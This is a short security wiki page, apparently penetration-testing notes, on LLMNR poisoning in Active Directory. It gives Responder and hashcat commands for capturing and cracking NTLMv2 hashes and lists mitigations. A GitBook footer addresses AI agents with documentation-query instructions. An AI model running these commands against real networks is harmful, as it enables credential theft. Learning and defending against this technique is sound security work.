> For the complete documentation index, see [llms.txt](https://wiki.bufu-sec.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.bufu-sec.com/active-directory/mitm_relay/llmnr_poisoning.md). # LLMNR Poisoning ## What is LLMNR? * Used to identify hosts when DNS fails * Previously known as NBT-NS * Key flaw: services utilize a user's username and NTLMv2 hash when appropriately responded too ## Attack Flow * Trick victim into connecting to malicious server under our control * Capture hash * Service name cannot be resolvable over DNS ## Exploitation ```bash # Run responder python responder.py -I tun0 -rdwv # Crack hash with hashcat hashcat -a 0 -m 5600 hashes.txt rockyou.txt ``` ## Mitigation * Disable LLMNR and NBT-NS * If the functions can't be disabled, then * require Network Access Control * require strong password policy --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://wiki.bufu-sec.com/active-directory/mitm_relay/llmnr_poisoning.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.